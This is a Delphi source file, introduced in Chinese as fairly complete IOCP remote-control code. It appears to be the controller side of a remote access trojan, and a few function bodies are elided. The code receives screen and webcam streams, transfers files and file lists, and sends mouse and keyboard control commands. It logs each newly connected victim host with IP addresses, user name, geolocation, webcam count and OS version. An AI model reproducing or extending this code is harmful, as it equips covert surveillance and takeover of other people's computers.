iocpunit.pas

delphi源代码。iocp远控比较完整的代码

          InitIoContext(lp_io, MAX_BUFSIZE);
        end;
      end
      else if lp_Io^.IsUsed then
      begin
        try
          //根据不同的数据类型进行不同的操作
          case lp_Io^.RemoteSystemInfo.RemoteDataType of
            MainSocketData:
            begin 
              //接受心跳
              lp_io^.IsAlive := True;
            end;
            //屏传数据
            RemoteScreenData:
            begin
              try
                DealRemoteScreenData(lp_Io);
              except
                lp_Io^.IsUsed := False;
              end;
            end;
            //视频数据
            RemoteVideoData:
            begin
              try
                DealRemoteVideoData(lp_Io); ;
              except
                lp_Io^.IsUsed := False;
              end;
            end;
            //音频数据
            RemoteAudioData:
            begin

            end;
            //文件数据
            RemoteFileData:
            begin
            
            end;
            //文件列表数据
            GetSystemInfoData:
            begin
              try
                //如果是文件数据，则直接处理之,如果不是，则需要进行接受包头后再确认数据类型
                case lp_io^.RemoteDataInfo.DataHeaderInfo.DataType of
                  TransmitFileData,
                  FileOpenEror,
                  NothingNeedTransmit,
                  CreateMapViewError,
                  MapViewError:
                    DealRemoteFileData(lp_Io);
                else
                  DealRemoteFileListData(lp_Io);
                end;
              except
                lp_Io^.IsUsed := False;
              end;
            end;
          end;
        except

        end;
        lp_io.ptrBuffer.buf := @lp_io.Buffer[0];
      end;
      lp_io.operType := IO_READ;
    end;
    IOCP_COMPLETE_WRITE:
    begin
      case lp_io^.sendCMDtype of
        //1代表发送的是消息控制命令
        //由于是间断的发送，因此申请的是局部的变量，需要释放掉
        CMD_SENDCTRL:
        begin
          //释放掉发送命令时申请的单i/o数据
          FreeOverlappedPlus(lp_io);
        end;
        //2代表发送的是屏幕鼠标和键盘控制命令
        //由于需要频繁发送，因此申请的是全局的变量,再程序退出后释放
        CMD_SENDMOUSE_KEY_CTRL:
        begin
          InitIoContext(lp_io);
          lp_io^.operType := IO_NOTHING;
        end;
        CMD_SEND_OTHERCTRL:
        begin

        end;
        else
        begin

        end;
      end;
    end; 
  end;//case end
end;

//根据命令,进行下次的操作请求
function Tworkerthread.DataAction(lp_Io : PPerHandleData) : Boolean;
var
  dwBytes, dwFlags : DWORD;
  nRet : integer;
begin
  if (lp_io <> nil) then
  begin
   //省略...～～
  end
  else
    Result := False;
end;

(*-----------------------以下主要是进行VCL同步更新操作的----------------------*)

procedure Tworkerthread.ListViewAddItem;
var
  ListItem : TListItem;
  osVersion, locationStr : string;
  mySystemTime : TSystemTime;
  TimeStr : string;
begin
  Screen.Cursor := crHourglass;
  EnterCriticalSection(g_VariableAccessSemaphore);
  with MainForm.LVServerList do
  begin
    MainForm.LVServerList.Items.BeginUpdate;
    ListItem := Items.Add;
    //备注的上线图标
    ListItem.ImageIndex := PHandledata^.RemoteSystemInfo.ServerIconIndex;
    //显示备注
    ListItem.Caption := PHandledata^.RemoteSystemInfo.UseSelfDefine;
    //ip和内网ip
    locationStr := PHandledata^.ExternalIPaddressString + '/'
      + PHandledata^.RemoteSystemInfo.LocalIPaddressString;
    ListItem.SubItems.Add(locationStr);
    //用户名
    ListItem.SubItems.Add(PHandledata^.RemoteSystemInfo.CurrentUserName);
    //远程主机位置
    locationStr := GetRemoteAddress(PHandledata^.ExternalIPaddressString);
    ListItem.SubItems.Add(locationStr);
    //判断摄像头
    if PHandledata^.RemoteSystemInfo.WebCamCount > 0 then
      ListItem.SubItems.Add(IntToStr(PHandledata^.RemoteSystemInfo.WebCamCount))
    else
      ListItem.SubItems.Add('--');
    GetSystemTime(mySystemTime);
    TimeStr := Format('%d-%d-%d %d:%d', [mySystemTime.wYear, mySystemTime.wMonth, mySystemTime.wDay,
      mySystemTime.wHour, mySystemTime.wMinute]);
    ListItem.SubItems.Add(TimeStr);
    //操作系统
    osVersion := 'win98 ';
    case PHandledata^.RemoteSystemInfo.SystemVersion.dwMajorVersion of
      5:
      begin
        case PHandledata^.RemoteSystemInfo.SystemVersion.dwMinorVersion of
          0:
            osVersion := 'Win2000 ';
          1:
            osVersion := 'WinXP ';
          2:
            osVersion := 'WinServe2003 ';
        end;
      end;
      6:
      begin
        osVersion := 'WinVista ';
      end;
    end;
    osVersion := osVersion + 'Build ' +
      IntToStr(PHandledata^.RemoteSystemInfo.SystemVersion.dwBuildNumber) +
      ' ' + PHandledata^.RemoteSystemInfo.SystemVersion.szCSDVersion;
    ListItem.SubItems.Add(osVersion);
    //控制端版本
    ListItem.SubItems.Add(PHandledata^.RemoteSystemInfo.ServerVersion);
    //socket
    ListItem.SubItems.Add(IntToStr(PHandledata^.Socket));
    //单IO数据指针
    ListItem.SubItems.Add(IntToStr(DWORD(PHandledata)));
    MainForm.LVServerList.Items.EndUpdate;
  end;
  MainForm.MemoMsg.Lines.Add(TimeStr + ' 有新主机: '+ PHandledata^.ExternalIPaddressString  + '上线');
  MainForm.StatusBarMsg.Panels[2].Text := '共有上线主机：'
    + IntToStr(MainForm.LVServerList.Items.Count) + '台';
  LeaveCriticalSection(g_VariableAccessSemaphore);
  Screen.Cursor := crDefault; 
end;

//下线删除
procedure Tworkerthread.ListViewDeletItem;
var
  i : DWord;
  mySystemTime : TSystemTime;
  TimeStr : string;
begin
  EnterCriticalSection(g_VariableAccessSemaphore);
  for i := MainForm.LVServerList.Items.Count - 1 downto 0 do
  begin
    if StrToInt(MainForm.LVServerList.Items[i].SubItems[7]) = LongInt(self.OfflineSocket) then
    begin
      MainForm.LVServerList.Items.Delete(i); //
      GetSystemTime(mySystemTime);
      TimeStr := Format('%d-%d-%d %d:%d', [mySystemTime.wYear, mySystemTime.wMonth, mySystemTime.wDay,
        mySystemTime.wHour, mySystemTime.wMinute]);
      MainForm.MemoMsg.Lines.Add(TimeStr +
        ' 远程主机：' + PHandleData^.ExternalIPaddressString + '下线');
    end;
  end; 
  MainForm.StatusBarMsg.Panels[2].Text := '共有上线主机：'
    + IntToStr(MainForm.LVServerList.Items.Count) + '台';
  LeaveCriticalSection(g_VariableAccessSemaphore);
end;

{-------------------------------TAcceptexThread-------------------------------}

constructor TAcceptexThread.create(CreateSuspended: Boolean;acceptcnt:integer);
begin
  msg := '';
  acceptcount := acceptcnt;
  Create(CreateSuspended);
  priority := tpTimeCritical;
  FreeOnterminate := True;
end;

procedure TAcceptexThread.Execute;
var
  dwRet : DWORD;
begin
  while( TRUE ) do
  begin
    dwret := WaitForMultipleObjects(2, @eventarray[0], FALSE, INFINITE);
    case dwRet of
      WAIT_FAILED:
      begin
        self.msg := '事件等待失败：' + SysErrorMessage(wsagetlasterror());
        self.Synchronize(self.ShowMsg);
      end;
      WAIT_OBJECT_0: //表示服务器关闭
      begin
        break;
      end;
      WAIT_OBJECT_0 + 1: //表示用完了
      begin
        self.postacceptex(self.acceptcount);
      end;
    end;
  end;
end;

function TAcceptexThread.postacceptEx(count: Integer): Boolean;
var
  i:integer;
  bret:boolean;
begin
  //省略...～～
end;

function TAcceptexThread.postoneacceptEx: Boolean;
var
  dwBytes : DWORD;
  bRet : Boolean;
  tmpsocket : Tsocket;
  ovlap_prt : PPerHandleData;
begin
  tmpsocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, WSA_FLAG_OVERLAPPED);
  if tmpsocket = INVALID_SOCKET then
  begin
    closesocket(g_listensocket);
    WSACleanup();
    result := false;
    exit;
  end;
  MakeOverlappedPlus(ovlap_prt, IO_ACCEPT); //创建一个重叠结构
  InitIoContext(ovlap_prt);
  ovlap_prt^.Socket := tmpsocket;
  dwBytes := 0;
  bRet := lpAcceptEx(g_listensocket, ovlap_prt^.Socket, ovlap_prt^.ptrBuffer^.buf,
    0, SizeOf(TSockAddr) + 16, SizeOf(TSockAddr) + 16,
    @dwBytes, POverlapped(@ovlap_prt^.Overlapped));
  if (not bRet) and (WSAGetLastError <> ERROR_IO_PENDING) then
  begin
    //error occured
    FreeOverlappedPlus(ovlap_prt);
    closesocket(tmpsocket);
    result:=false;
    exit;
  end;
  result := true;
end;

procedure TAcceptexThread.ShowMsg;
begin
  MainForm.MemoMsg.Lines.Add(self.msg);
end;

end.